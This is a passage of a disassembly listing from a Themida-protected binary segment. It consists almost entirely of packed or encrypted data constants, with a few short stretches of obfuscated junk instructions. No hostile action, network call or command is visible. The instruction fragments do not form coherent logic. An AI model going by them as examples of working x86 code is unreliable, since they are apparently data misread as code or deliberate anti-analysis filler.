		dd 171E1BD0h, 98F08AC2h, 605FB209h, 0BFC1502Dh,	95128054h
		dd 4081134h, 82658005h,	5F8D4AE6h, 7CBF6C9Bh, 5CCCA641h
		dd 98A71F43h, 0F28E05D0h, 0C40C01BAh, 310858E7h, 0EB02204h
		dd 5809332Fh, 0F780F8h,	3AF9BC48h, 358975B0h, 87A52712h
		dd 23F064C9h, 28074065h, 0A078D1h, 66E81786h, 0E61E5961h
		dd 195318B0h, 0BEB2282Fh, 62C020C4h, 9060BC4Eh,	8EA632A8h
		dd 949822B0h, 4A860F3Ch, 0C0BC1810h, 6FE84971h,	0C2601D09h
		dd 1D8C85CAh, 5F0438BEh, 0F6588h, 83BDFF4Bh, 70523BA4h
		dd 67C71003h, 3FE8BD7h,	6CC11D18h, 40001C6Dh, 0DC53A052h
		dd 7008245Fh, 91F50080h, 9A210B55h, 1602074Dh, 0E4DEF3A9h
		dd 3BA800C0h, 58DF5451h, 4B68623Bh, 0F2A00CCh, 6F80C9B8h
		dd 99ED6066h, 5285D496h, 61059907h, 804FEC9Ah, 2170AD47h
		dd 1130AF16h, 907E003Fh, 8BF01B45h, 2CBDF656h, 76B8070h
		dd 1C3BA299h, 2060ED29h, 0BCBD4BE1h, 0D0036198h, 0EAD68C7Eh
		dd 0F612881h, 0A28C5087h, 19003196h, 18F471D6h,	80CD57B0h
		dd 51F92845h, 0A16D6708h, 9D4FACD9h, 4D40FEh, 0EA36456Eh
		dd 0E5E1AB5Dh, 433B9A18h, 58B9EC79h, 0DE30DEDAh, 3B268C21h
		dd 2759EA60h, 50239AACh, 18051842h, 80A820B8h, 1832703Dh
		dd 217770D6h, 0E8A97DA4h, 0BA009C33h, 6065ACCCh, 331DA6CBh
		dd 18C0B871h, 27DF4104h, 20903823h, 2A2C6B45h, 1A82A46h
		dd 7D1EF9D0h, 70F3BE43h, 0F0A44B6Ah, 98E76729h,	3AD1211Dh
		dd 0EA23A106h, 0FF0050C7h, 11528E84h, 278904h, 0C44878FBh
		dd 31F2F579h, 368A1C00h, 86F32F8Eh, 7B083F1Dh, 0FFC7379h
		dd 6352CDB0h, 0C61645E0h, 0D772F85h, 6874FA00h,	27ECF1E7h
		dd 0AB170051h, 3180E93Fh, 75317A0Dh, 0CFB24004h, 760FDh
		dd 31476C5h, 80FA813Ch,	0E006E96Ch, 0F0324F33h,	73B5006Bh
		dd 0BA8B0D2Dh, 4307FD36h, 763DCFC5h, 0F8FA3EF0h, 1140A77h
		dd 45ECF481h, 0BE046A8Ch, 449F854h, 1A75F817h, 73D88003h
		dd 0FE00EB5Fh, 0F1921BDFh, 0E66E8Fh, 79FF30C5h,	7B0B04B3h
		dd 4CD0C901h, 1641BB24h, 0FB304081h, 0C892313Bh, 2CE406DDh
		dd 7F404F00h, 2580E160h, 0CCB048h, 0BD811514h, 8D184DB3h
		dd 6FFA40C7h, 780EFCE4h, 0E2F3F240h, 3E004F27h,	73EA7283h
		dd 77E3A19h, 965148B3h,	653C50B9h, 4C0742BCh, 0E196F0Fh
		dd 72764A90h, 98F0E2F3h, 94E94838h, 4BE8BAh, 2B7B06FAh
		dd 74FB8DFDh, 80E0313Ch, 394F26E3h, 0B56087h, 80FF2D83h
		dd 91124A79h, 10CAB001h, 1648B976h, 276EF4h, 0C4348540h
		dd 0DFF0EB68h
dword_4E109C	dd 4A7C5A07h, 88705B79h, 2264E4h, 850C50E8h, 2414C9CBh
		dd 1848B803h, 2A7DF9h, 6BC44E40h, 5AE506E6h, 8B369200h
		dd 0F27CE774h, 0BD8018FBh, 0BACB8804h, 80765139h, 89F9050Eh
		dd 18C4014h, 0E66A9148h, 6668E504h, 81A0AE8Ch, 11004AC5h
		dd 0E2F7BC6h, 744D8Eh, 3101F15Dh, 90654F68h, 227640h, 36BC800Ch
		dd 0CE7E7910h, 8E775102h, 0C003114Ch, 7D059Eh, 0E1618B34h
		dd 8A2EF109h, 0C8353Fh,	7F281EBh, 246C27Eh, 0CD901E0Ch
		dd 0D840233Ch, 7600F815h, 3D87FF29h, 73F63188h,	4F1B00FCh
		dd 0E0618F63h, 909F272h, 8045798Dh, 4DCBBB54h, 0E800060h
		dd 1375FE20h, 31007A40h, 0EEB46C90h, 164828E2h,	85CC845h
		dd 3B8027ACh, 0C9CC7B14h, 8D88A412h, 6ED8FF04h,	9FA20002h
		dd 0C8A4FA48h, 76050E4Ah, 0B8BE51A9h, 0ADC0342Ah, 0C8EA4494h
		dd 0DF51BD00h, 9E4A9F7Ch, 576C70B5h, 230C1CD9h,	4310A041h
		dd 243096F8h, 13FD211Ah, 0A4B60127h, 9C90CC0Ah,	2008ADFAh
		dd 270C5B18h, 0A0760F6Ch, 7C807925h, 4785F797h,	1A1B3E00h
		dd 0C30CE1ABh, 0A5F40EE5h, 3C14091Dh, 947D3860h, 9A175903h
		dd 8870BECh, 0D121BCh, 8B077D6Eh, 17A56A21h, 6DC7F506h
		dd 580847h, 273FDD05h, 9DC64430h, 1F980D00h, 0BE245FCAh
		dd 9A83007Dh, 105C7233h, 0A00CE8C7h, 38970E2Ah,	80B0B636h
		dd 2CF3F765h, 0D60A83BCh, 1CB4908Dh, 0D418F0CFh, 53A8F91Ch
		dd 80DB603Dh, 723CF3C7h, 60058A16h, 0A2C2F6F7h,	0EAF08B7Eh
		dd 0BF363D1Fh, 3AECA36Dh, 7E0FEC4Fh, 20667005h,	0DAB7C8C4h
		dd 0A8611301h, 0D069BA01h, 0EC5208BDh, 3173BF3Bh, 0AA0E5DDh
		dd 0A1891063h, 14C9EE1h, 0FE035E45h, 0D4ACE4AAh, 2B306EF0h
		dd 83D68004h, 843614DCh, 671B3C20h, 6CE861DDh, 5C6069DBh
		dd 368BFE5Ch, 0A2230042h, 0C376719h, 43065616h,	0B8A68959h
		dd 8A0E0041h, 8EBAD3D6h, 881DA2BCh, 9601BB59h, 28A0078Fh
		dd 8094F0CAh, 0EA2F64h,	627188BDh, 7ACAF420h, 0D7C1E800h
		dd 0D49F37DEh, 0BAA402BCh, 0F1DA6CCh, 7404184Ch, 6903927Dh
		dd 0CB218262h, 1CD47D6Ch, 444090A9h, 0B8390517h, 0DE886113h
		dd 8ECED9E3h, 3928A88Ch, 5D3BA805h, 1A806C5h, 927B5189h
		dd 9F50C00h, 94AA59BFh,	0BB630352h, 994D56ACh, 57C2C4A9h
		dd 9A6FC084h, 3100E2B9h, 0C3CFF42Fh, 150B55h, 0DE019061h
		dd 0D104DF5Fh, 0D483BD1Dh, 74FEF383h, 8F103099h, 0CC94F79Eh
		dd 7A9A10C0h, 149CB2E5h, 50306C8Dh, 78FF6182h, 0AD00ACF8h
		dd 6CBC0F45h, 9F9BE35h,	0FC8FA932h, 609AE404h, 23BA270Fh
		dd 3411EAA4h, 27085F00h, 6760F16Eh, 47573A1Dh, 902DE7CAh
		dd 0E41BA605h, 0BDC5D206h, 939E00F1h, 7547764Dh, 3F5F2170h
		dd 21D5E00Ch, 4D9B00F9h, 27EFCD7Fh, 0F035DF5h, 26530219h
		dd 68C80185h, 5E712E3Eh, 0E8E6C4A0h, 0DFEF050Ah, 2B1DD888h
		dd 5E470A60h, 84D4215Bh, 532C3BDEh, 0B8AC4D0h, 0EECA00E2h
		dd 64353F01h, 0C1116D4Fh, 63F8E6Ah, 7C024888h, 10727980h
		dd 12B686Bh, 4A7A7D81h,	4074866Ah, 9003CDEBh, 809FF636h
		dd 2BE46F8h, 47734D8Eh,	10D6319Dh, 144D96FCh, 827E3EBDh
		dd 4569D807h, 3B5EC211h, 78D2DC40h, 0A089C1C3h,	0DE390CF2h
		dd 6CA17B01h, 265CD300h, 0B4EF7C65h, 0A40700FEh, 11069F58h
		dd 29FCA54Bh, 9AAB2A06h, 4548EE76h, 0C2B09116h,	774D9280h
		dd 448C7D47h, 9A6AF8D3h, 0F500ADD0h, 654B6D93h,	1EF18DDh
		dd 239D9183h, 0AED5F100h, 0E5EBBF0Eh, 2920B195h, 18C8D10Ch
		dd 15B609D1h, 90A4ECDEh, 0AFD73228h, 3FB887ECh,	0AF78F813h
		dd 0C140F87Ah, 90BD0FFFh, 403D5280h, 6130CAE2h,	5730B29h
		dd 182823A0h, 0D3465C24h, 7B084F00h, 0E3EE8D96h, 0C626F801h
		dd 0A0BCFF5Fh, 52FAA08Fh, 9840E55Fh, 451F1B4Ch,	0EED20319h
		dd 2ED83040h, 7D783982h, 0F6E0EE9h, 0F7A02669h,	147297EFh
		dd 60A49A95h, 505B5583h, 4A49827h, 1368FDD4h, 2304C13Dh
		dd 12CC5029h, 0C7399BC4h, 336000B8h, 40EFA2B7h,	0EC00953Ch
		dd 8FB9C4FCh, 14369981h, 0B3271602h, 313102A4h,	24605C12h
		dd 2B13D669h, 48428276h, 999ACF7h, 95795401h, 0A12EF015h
		dd 0ED5EAA0Eh, 4C6F5219h, 0CAA4E900h, 0EF8D4C4Ah, 0B9103C01h
		dd 0C6040F61h, 24339434h, 67A8795Ah, 264831h, 5947715h
		dd 0FE5324ACh, 201D9895h, 3C18CED0h, 9A90C0DFh,	563BB883h
		dd 0AD28CB81h, 60084004h, 23937D77h, 0C43D5103h, 7D6F00D2h
		dd 67666DCh, 5D00964Bh,	45A6609Ah, 0E8FD057h, 985334A4h
		dd 8169C145h, 71D5A70Ch, 4133E0CDh, 0E108ACACh,	52D3180Fh
		dd 186A1CC1h, 34DA58B5h, 701CB82Eh, 0A8ECBDA7h,	0D6523F04h
		dd 98C18B8Eh, 0E0A43CE0h, 5F4D0150h, 203BF3F5h,	48C9708h
		dd 0A4B52714h, 202F6212h, 20270D5Ah, 0C269BB02h, 90C8D8DFh
		dd 867E56CCh, 4427C45h,	4D8F30BDh, 95477213h, 4FD1838h
		dd 0CEF24D97h, 0DDD89945h, 70FFF556h, 931FB274h, 4E984307h
		dd 0E54BA299h, 0A98E074h, 0E5676BBCh, 8B3EB988h, 0BBDF300h
		dd 76F1E37Eh, 8CAA693Ah, 79C7C45Bh, 0FC970039h,	0C5DD86A8h
		dd 8F2E7DB2h, 63824CB4h, 69D3A798h, 0A442DC1Ch,	4144C0Bh
		dd 3967D78h, 0CF3849h, 868B7D70h, 0A57611B1h, 4DB6000h
		dd 0F497A3EEh, 27091FEh, 75224B02h, 0A410020Bh,	47210FC3h
		dd 281BEB36h, 0BE1502B0h, 5E9F0FE3h, 3BA40258h,	6C5E84F2h
		dd 3A12088h, 0ABE9BEDFh, 6E222010h, 13D7671Dh, 3508A2C0h
		dd 803AA903h, 0C5058223h, 78C34FEFh, 9F82D7h, 6B1E2BA2h
		dd 28970CBh, 1B6D3F0h, 0E08CF3E4h, 10D6DB97h, 25630805h
		dd 18A23CD4h, 0B83373E2h, 13459F01h, 20C4E12Eh,	0F3B72CFCh
		dd 0DB37C61Dh, 51E06200h, 1C46FDDh, 0BF8BF80Ch,	2091947Ch
		dd 1F626B2Ch, 0AB882380h, 0D72C02A8h, 0C240E2D4h, 640CC39h
		dd 83B88D9Ah, 1450C0C3h, 54059B8h, 98DA078Bh, 890B92B2h
		dd 0E0B03CD0h, 58D11020h, 7E22FCD9h, 0E102AD1Eh, 6491807Eh
		dd 0EA097B6Dh, 8242020Dh, 8863C598h, 36E2CCE3h,	0C98E2027h
		dd 7F84013h, 144A4AA0h,	0D3E8B4B8h, 42EC8Ch, 9D86FE04h
		dd 2EEEE31Ch, 0AD3D6017h, 0A1BC620Eh, 0A8894C28h, 0DF120072h
		dd 0C6F00D58h, 8E204211h, 4372BD21h, 0A9623320h, 39AC1EA8h
		dd 5ABC0065h, 0FCC90997h, 4490A22Ch, 7B002011h,	58D4869Ah
		dd 0B5611644h, 1CA75E80h, 0B0194883h, 0E815DA5Fh, 0C4D867h
		dd 972E3AA5h, 1FFA8238h, 9B95E2h, 92814803h, 8F032A85h
		dd 4C6643A2h, 0B480054h, 0A1B8A3DBh, 281BC55Ch,	82B02CA0h
		dd 0D6BC0061h, 0F2A628Fh, 0C215E88Bh, 4E082BC4h, 47D41090h
		dd 23E3375Eh, 82F3E538h, 28CC5125h, 682FA54Bh, 23017823h
		dd 3B05ED49h, 48285E0h,	0D3B00388h, 9AE600C0h, 0F9F1ADAFh
		dd 0EEDC8431h, 0E92A4423h, 191CB700h, 64765891h, 54EAFFh
		dd 0DC0A53EDh, 0C04117B1h, 3697B205h, 10C7B5AAh, 0CF6B70F0h
		dd 0A430E94Dh, 0F39240EEh, 5C14DE24h, 981114A6h, 0C2271584h
		dd 14CCFA90h, 5D3944h, 2454270Eh, 0C06D4D3h, 0EA830100h
		dd 6FFC3E6Eh, 0BFA0A073h, 2085810Dh, 182E5A8h, 0B6529CC8h
		dd 26A803F0h, 9314E417h, 23503A19h, 62A0480h, 0EBA483F7h
		dd 1D02AA82h, 7524900Eh, 391117Dh, 80818861h, 97D6DCCh
		dd 860C3C25h, 0E91F0DE4h, 4F2DB8A2h, 60809C82h,	0D4D1C891h
		dd 4C009618h
		dd 9CAC2C94h, 9CC5C174h, 18380BCh, 727B880Ch, 81A28937h
		dd 33C014C5h, 18CD7A7Dh, 19C1C512h, 0B20025F1h,	0D26C9FCFh
		dd 1A8F89Ah, 0E9AFFC1Ch, 0CACC8FC4h, 139F47Ch, 0E3C668F0h
		dd 59BF1B0Ah, 800CD24h,	467CC858h, 6D950134h, 3DABD7CAh
		dd 0B2E3C70h, 41602AF8h, 6D467094h, 16DAB402h, 0DD31D061h
		dd 0DABCA810h, 1995CE0Bh, 2BFC82EDh, 0A0030002h, 1890CF87h
		dd 8F63C115h, 3DD507E0h, 0A4A034E2h, 0B27BCE33h, 2F3E4EB0h
		dd 33239Ch, 0A2532832h,	4E0197ABh, 0D8EBD9E4h, 303E3364h
		dd 0DC21F0E4h, 10E3BA04h, 1888BFDDh, 16F4082h, 58503A50h
		dd 61FF7D16h, 88EE9C04h, 28DCCA1Ch, 0FD41009Ch,	0DF0B8A25h
		dd 61F43E5Dh, 0DC43D18h, 1780603Ch, 6E15C37Fh, 0B70B6D00h
		dd 0D6DECAF8h, 714516F5h, 0CB690968h, 5B1158F9h, 76E86858h
		dd 6916008Ch, 624CC34Eh, 661347A4h, 0FC4829ABh,	453F8040h
		dd 0B09A1418h, 16155CB4h, 0EF2805F4h, 0A8C0D4ABh, 0C0CFC4C1h
		dd 1424A19h, 0C030922h,	0E7DB3B85h, 8B9FD09Ah, 65F616EFh
		dd 0A708058Fh, 8BF412E0h, 0C7D2C834h, 0D7D5E0B9h, 3C135566h
		dd 0DD00387Bh, 0F319C4E2h, 45D60118h, 83B0051Ah, 796889CEh
		dd 0B004FAEBh, 19976168h, 6498363Dh, 908F78h, 12E31F44h
		dd 0A45F6D9h, 918C3333h, 1805002Bh, 7F98B266h, 5AFE6Ch
		dd 5EEC1625h, 0BBE4267h, 0B031F718h, 99A58971h,	403F1F04h
		dd 0C9D34541h, 660D170Ch, 590710E4h, 3588684Eh,	0F9991DC0h
		dd 0D81B50EDh, 523301Ch, 0BA3BA421h, 6803609Eh,	227C209Ah
		dd 0C55A0F70h, 6A57884Ch, 828B0076h, 0F6F8B0B7h, 3F00F374h
		dd 0CAD96310h, 25FB680h, 0EF2D680Ch, 24E1A115h,	0D6A86054h
		dd 80012EF8h, 0B585D4DBh, 598099C4h, 0CC305134h, 0DF2561C9h
		dd 45E489B0h, 6131E45Ch, 9C207568h, 921701Eh, 0D5ACD767h
		dd 18458444h, 1F5FAC30h, 243D1446h, 0B0C2039h, 0EB366D9Ch
		dd 83D4F433h, 16AC3708h, 0FC057CA2h, 0C07167D9h, 880EEC1Eh
		dd 0BA94AC1Eh, 0BE2C7ACFh, 6E8729B7h, 0F1B381A0h, 0E3DF135Dh
		dd 3DC42303h, 9CD689C2h, 8FA2B283h, 8DA3E060h, 128C9A62h
		dd 875B69Bh, 90C3BC84h,	0AD47E14Dh, 0FE88C918h,	0A54D0498h
		dd 0C23DF9B3h, 0D4D00E4Ch, 0A300FC93h, 4D0F668Fh, 28690F5h
		dd 0E49D343Fh, 94E08ED6h, 0C8A4D370h, 26238811h, 92351800h
		dd 4DFCA1E7h, 4A474800h, 0C82D7A98h, 0A8051336h, 0DFD44DBBh
		dd 92C40870h, 80453E0Bh, 45F8096Bh, 6080E408h, 28EA0543h
		dd 740C01DFh, 0B64400D4h, 182FFBC5h, 0E507DC53h, 963EFAC6h
		dd 5E1388E0h, 0A0513907h, 0BF98D6B2h, 0FF00B844h, 8754F52Ch
		dd 3158AACh, 27CCCB80h,	0F1EE24C6h, 44293400h, 8D30681Ah
		dd 0CA770082h, 365E5379h, 180C1E81h, 919269C1h,	0E09F5889h
		dd 16000DFh, 8E2FA7Fh, 0FF61DE04h, 0A4B0A2E4h, 0A68A0494h
		dd 0A460C1D6h, 0EF0405B4h, 37EB5E71h, 0C89B8904h, 3527AF10h
		dd 0C0140F1Bh, 0BCD6799Dh, 0EB662A3Dh, 0FA5300A4h, 74FB373h
		dd 950B373Fh, 0C2DF7467h, 11249D5Ch, 0A27E83D4h, 0F4C2A0B6h
		dd 20889024h, 4512C887h, 58C5D76Eh, 454F810h, 8D33647h
		dd 83DD8504h, 0E15868C0h, 8C74E8D0h, 9651F83Bh,	100404DFh
		dd 3E00CFAFh, 7D9DBB18h, 0ABF041E9h, 0B2918DAh,	8F980DC6h
		dd 0DC042829h, 3960E910h, 238E089Dh, 2481801Fh,	4CE201F5h
		dd 5CFEF409h, 11489F9Ch, 0AAD98534h, 0FA028AC5h, 0F8BB5E47h
		dd 0FF90C460h, 230932CBh, 0E0BE3126h, 1DE5632Fh, 81C99158h
		dd 80AAC193h, 459E820h,	0C2339A1Eh, 8C30A85Eh, 14BF31F9h
		dd 4C235735h, 84DA4710h, 3F40110Fh, 0D689A435h,	866E4B1Ah
		dd 6CECC148h, 0DA1DB318h, 0C0616117h, 0DFDABBA9h, 13B42C4Ch
		dd 28066185h, 7621E741h, 0A2A8C45Eh, 24AA3271h,	57F8F466h
		dd 498A0400h, 0FDB7B28Eh, 2061242Ah, 0DC2D3970h, 3F73FC00h
		dd 3624B6Eh, 495D8DD8h,	1888ECACh, 3C009E3h, 0C4BF47A0h
		dd 82B9C1F8h, 73300C50h, 38F137Dh, 94CB71h, 0D87D6BCEh
		dd 18438BD3h, 6073BB66h, 0FCA0EE05h, 380399Bh, 7710C41Ch
		dd 0DB5D051Fh, 0C0BFF008h, 47784D95h, 0E0C88548h, 4D9DFBh
		dd 90DB54F4h, 2FC329Ah,	0D743B010h, 0BD073F00h,	3C1CF82h
		dd 9ABA5C12h, 0E18FD80Ch, 5BE30215h, 681E4B0Ah,	765B480h
		dd 81BD1478h, 7786432Ch, 0C8B6100h, 4A2B2Dh, 6F4EB7FCh
		dd 0B6990008h, 0CB611472h, 0FFF80E21h, 0BC9FCF2Ah, 8B2F98B0h
		dd 0C600910Ah, 203B5E11h, 7962D220h, 701CD761h,	3F263E40h
		dd 0EC182969h, 0A90CB249h, 666855A8h, 0B90B0043h, 660529E6h
		dd 0CC12D59Eh, 5C04B85Eh, 0BF08CF0Fh, 30504B11h, 0B8A88EEh
		dd 0BA76C202h, 0A0BB9D89h, 0E1E30FA8h, 1151AF5h, 4C6779C1h
		dd 62637544h, 0D3AEACF0h, 0EF81D206h, 38218401h, 0F10716C0h
		dd 10E7DA93h, 0E93BB863h, 3E14A09Ah, 269872A6h,	1D464451h
		dd 74C12118h, 8D3B8140h, 5AFEE604h, 0C8F82279h,	821CD118h
		dd 0D3F38C02h, 0FD20219h, 0B4BE3B04h, 4D4F0794h, 331C8002h
		dd 3188D05Eh, 61508B2Ah, 848C2892h, 0E81CDEFFh,	58BA1DA8h
		dd 0A121D9DCh, 860C2C9Dh, 5C08BC1Ah, 0D6807018h, 0B74FF188h
		dd 48BEA238h, 2C0980A0h, 5288FBBh, 6AD75B15h, 97DCB4C5h
		dd 0C28F60F1h, 33DF3E1Fh, 390EE34Ch, 1473278Ch,	89902421h
		dd 35EC48A8h, 868D3Ch, 0A2197ED5h, 0BA8B964Bh, 7CFE1080h
		dd 0B9C418D0h, 3D24D931h, 70098BDCh, 0CC1D3C6Ch, 0D180D311h
		dd 87A053C9h, 0FAD0505h, 24818895h, 26019B58h, 0BE318046h
		dd 45C72E68h, 169C4B66h, 80D09B30h, 7016FCF5h, 5E48B4EAh
		dd 0D9007546h, 2F4D445Dh, 60FC3655h, 0A0DCF718h, 88DA43B1h
		dd 39C08801h, 0E4918408h, 744C01FFh, 0C790FD17h, 1B382098h
		dd 745DBF43h, 6072A305h, 0AB48814Ch, 0D44A0326h, 0B4609F49h
		dd 8C800D93h, 98D40051h, 607EA2BDh, 0A45FDC0Fh,	662A7CD1h
		dd 15F76500h, 0F46C2FEFh, 0D5058135h, 4799967Fh, 0B8070C30h
		dd 61393E99h, 0B518710Bh, 97568481h, 636870FBh,	2AF902Fh
		dd 8429456Ch, 72600DB0h, 32F907Dh, 0C9679h, 487D6ACDh
		dd 0C00C2612h, 49A93F00h, 6B6FB4DDh, 0AB98A190h, 8A7FB866h
		dd 189D38C1h, 0B7270812h, 6070E2A4h, 39273E0Bh,	0E6D4B38Eh
		dd 8C6AC004h, 0F327B0DCh, 0F6822EAh, 45D06632h,	0A7E833B7h
		dd 0E28DC0A8h, 4CB4C482h, 9FBF2B87h, 67BE2F50h,	8A1E010Fh
		dd 0E9F2986Dh, 0C5D0477Ah, 17F08C82h, 0FCA639D2h, 0C0B80E4h
		dd 29282609h, 0CB5DA80Fh, 0A8038AF4h, 37037ADh,	621026Dh
		dd 94993CF8h, 53A4F804h, 0BCCF5ED6h, 701F5525h,	0AB807711h
		dd 186E7B40h, 0B4944500h, 799D535Fh, 0B46CAE13h, 71AE6250h
		dd 0A05F4896h, 7423FC3Eh, 0BADB9C00h, 1A02FEB3h, 80DAA390h
		dd 0CD006C59h, 53DFC36h, 72090269h, 0C670D768h,	3F6040A4h
		dd 0F9007623h, 7AB8FF5Eh, 0C158074Eh, 14C43D3Bh, 13A100E8h
		dd 417719Fh, 7FD735D8h,	11A88A27h, 92026910h, 76D699EDh
		dd 5AB8040h, 5FAF4486h,	0BA80F71Ah, 8E54C0C0h, 9174947Eh
		dd 0DAB6856Bh, 4CC03C82h, 0A6CE448Ch, 453BDAE4h, 7CD10028h
		dd 33A467E8h, 0B887593Eh, 992CFF08h, 2137024h, 79B6AC21h
		dd 9C308BF9h, 0DAD104EBh, 0F8E213B5h, 11DEA984h, 8F702845h
		dd 0C527A603h, 56430738h, 0C1A991F9h, 3415EA19h, 0B844F740h
		dd 6D743D7Ch, 840F1377h
		dd 42B821A2h, 465D0868h, 0C240502Fh, 0E80A89D6h, 9381A0C8h
		dd 3D8F9E87h, 9B29C30h,	97897D9Ch, 49270096h, 647447EEh
		dd 4F0A60C8h, 96893858h, 0A4870295h, 2DFF5000h,	0B118C2E5h
		dd 91E7902h, 5E193801h,	80E66630h, 0F01E099h, 0A758FF61h
		dd 472C092h, 332BB14h, 0A43B268Bh, 0C20B9B40h, 0B2123906h
		dd 0BC051459h, 34A2A2A4h, 10988893h, 0CC7909EAh, 9B96A01Fh
		dd 8A0A4907h, 80902D32h, 0ED945C90h, 5E2CBE3Dh,	800C946h
		dd 0A262C25Ah, 0C52F7943h, 8BBC3710h, 1802659Fh, 0A0BC653h
		dd 2E3B242Ch, 0D940FCD8h, 38B576h, 6DE63CF7h, 5EB041BBh
		dd 0AA9C1B00h, 0DA6C8FCCh, 0BCAC5CB2h, 3168407Ch, 5F3AFE00h
		dd 7143AB7Ch, 7BAC917Fh, 2595619Ch, 94FC5F0h, 0CE1FFFEAh
		dd 7A4AD810h, 0A8B08282h, 0E4240BA6h, 4D9160BBh, 0A5472174h
		dd 4D99FFC0h, 0B7BE006Eh, 3A7B10B3h, 1E2BD2Bh, 0A9003091h
		dd 44865A3Ch, 0E5DE07D1h
; ---------------------------------------------------------------------------


loc_4E21A8:				; CODE XREF: Themida_:004E21C8j
		xor	[edi], esp
		adc	al, 40h
		retn
; ---------------------------------------------------------------------------
		db 3Fh,	45h, 19h
		dd 0A50029Dh, 81B0536Dh, 0E7F5353Fh
		db 0D7h, 70h
; ---------------------------------------------------------------------------


loc_4E21BE:				; CODE XREF: Themida_:004E2204j
		inc	edi
		test	dword ptr [ecx+6Ch], 0FE450E38h
		or	ebp, eax
		loope	loc_4E21A8
		pop	ss
		movsb
		rcr	ah, 1
		pop	ebp
		rcl	dword ptr [esi+4Eh], 1
		push	ebp
		mov	ebp, esp
		enter	0FFFFC039h, 1Ah
		lea	ebp, [edx+18EC77CAh]
		jnb	short loc_4E2240
		movsb
		and	byte ptr [ebp+2C0A1DCh], 6Dh
		jl	short $+2
		mov	ah, 91h
		xchg	eax, edi
		xchg	esi, [ebp+4E2552FAh] ; CODE XREF: Themida_:004E224Dj
		imul	edi, [ecx], 28C43F94h
		test	al, 24h
		or	al, 0DFh
		sub	al, 74h
		inc	esi
		into
		add	[ecx], cl
		jge	short loc_4E21BE
		mov	ds:0F4169BEFh, eax
		xor	ebp, [edx]
		add	ah, [ebx-70h]
		add	al, 0C9h
		cmp	[ebp+56h], eax
; ---------------------------------------------------------------------------
		db 8Fh,	0FDh, 50h
		dd 5DA71C03h, 104F20DBh, 80E37008h, 0EC5C6B75h,	0D100E945h
		dd 2AD0FE07h, 733EC344h, 0DA99C1C4h, 0FCD89070h, 7600ADA9h
; ---------------------------------------------------------------------------


loc_4E2240:				; CODE XREF: Themida_:004E21DFj
		add	eax, 0EBFFF2ECh
		xchg	eax, ecx
		mov	[ebx], esi
		mov	ds:92B29BCh, al
		jz	short near ptr loc_4E21EE+5
		retn	0CCh
; ---------------------------------------------------------------------------
		dw 65C4h
		dd 77A896B1h, 15572C3Bh, 0DC467600h, 108F27h, 0AA023260h
		dd 71502C87h, 1F14F944h, 535E0051h, 8292E83h, 3ED9AD12h
		dd 21E4CA00h, 2E17C8Bh,	45ED198Fh, 0A4F96CA4h, 722F7A00h
		dd 9134F7h, 0B6A1EB9Ah,	7B41EAA0h, 97B51604h, 0D0C18D7Fh
		dd 980088F6h, 4718EE06h, 561870E5h, 0F65806Fh, 0B0B31416h
		dd 0AA4B4802h, 0F8A44477h, 8ED680A0h, 48F76012h, 0E060C484h
		dd 0C2AB3968h, 0C4C578A0h, 3A537520h, 8E5C007Bh, 5933060Dh
		dd 210280D5h, 0E473C848h, 79B471E9h, 0E6651878h, 81301CC4h
		dd 8C644044h, 0D98BB805h, 0E015098h, 45018861h,	2A7F5Eh
		dd 0B7A00758h, 244B54B5h, 0CA23EC2Fh, 3505C18h,	80768226h
		dd 0D64676h, 43ECBA2Ch,	14607682h, 48E3FDC9h, 1E8CCBACh
		dd 402E204Ch, 0A69922B5h, 0A29F671Ah, 0C02BC9B4h, 72793109h
		dd 29B3F44h, 0FA9078h, 6BC724A3h, 559128Bh, 2F0EF51Eh
		dd 0A5193FBFh, 919417FBh, 0E9AE8035h, 98D68E13h, 0FCA2E014h
		dd 536E0743h, 0C7E1B618h, 0C1A97E27h, 0F87F2404h, 8CCFB878h
		dd 250019E8h, 96EC543Dh, 4B56477Dh, 5E4043Fh, 59C0FDA8h
		dd 0BBBC24h, 1C1A538Bh,	22A755C5h, 2DD658C0h, 2C5E5486h
		dd 0C4AC3BA2h, 0DAB9606Eh, 98612511h, 0AB3B9496h, 0C7D201C1h
		dd 0F64BA49Dh, 0F2090428h, 0B4D2C48Bh, 0AD96DE00h, 0CEEF8AFFh
		dd 93E0C437h, 3588C81Ah, 0C4E39A0Eh, 0DC201317h, 1571B619h
		dd 0C82423F4h, 0F6D10E70h, 6C08162h, 960E0731h,	0DF0C892Ch
		dd 16733C00h, 0F26DBC8Eh, 93B2009Bh, 26B5468Dh,	426636AFh
		dd 0E1C15F20h, 2E1E6032h, 0C7FC001Ch, 1B7F96D8h, 901EBC27h
		dd 1F88908h, 689C12B2h,	0D061D34Eh, 0B50195F3h,	0D58ABEA2h
		dd 4A2A707Bh, 80588868h, 85A7F7A3h, 8212C02Ah, 30C8DE32h
		dd 0B94700C5h, 7D53A8FBh, 0AC9690DFh, 173465Eh,	60A33DEAh
		dd 0EC31A751h, 0D5911FCAh, 0D4E71180h, 2D00F791h, 3F862AC7h
		dd 4B71ABE1h, 0C8B48B19h, 1FE5C081h, 2309771h, 10DD1985h
		dd 0A0F100D9h, 0B7CD2D7Eh, 60248DFBh, 0C82757FFh, 94756EC8h
		dd 0E99442A4h, 59F0F112h, 75B318D6h, 0A1582DCFh, 0D7E14E6h
		dd 91D4D727h, 0FD147EE8h, 3B82Ch, 0D9E47F80h, 0C76643EDh
		dd 0B22C109Ah, 0A0AC58A2h, 648578A8h, 0E60CAC4h, 50CB880Fh
		dd 0F107989h, 4A03ADB8h, 66C09DAFh, 54007F5Ch, 0F4BD6EA6h
		dd 0B72AAF7h, 0EC061A71h, 0CA0C4C02h, 6D8BBE80h, 835D55ADh
		dd 30B62E44h, 0CBF5BA60h, 93DD005Ch, 0CA1821C5h, 0D60A299Eh
		dd 91043AF3h, 70D08914h, 98771A02h, 54A988FBh, 8B3E4390h
		dd 0FDA65902h, 0D4197F76h, 121B4358h, 41BD77C0h, 5C10300Bh
		dd 0A2C898F4h, 0D9890794h, 65A3F6B1h, 864C00C5h, 0EC6F05D2h
		dd 2F651400h, 3D5CF1E5h, 0D9E3010Ch, 0D48911E2h, 0DED46C1Dh
		dd 0E0919640h, 5A3A264Ch, 23083E88h, 480B00DBh,	2B3E41C9h
		dd 17542E48h, 0E8CA8DBAh, 0D3A2F043h, 713DF30h,	79411F54h
		dd 0EE335380h, 71F3D805h, 0D090575Eh, 937BCD5h,	45D0B635h
		dd 0AAFF6802h, 7FD1B0D9h, 8C5E3218h, 4E331420h,	0A5E5E197h
		dd 0AC01F6Ah, 80A82823h, 0C9DC5A3Ah, 370EFA50h,	60B301FDh
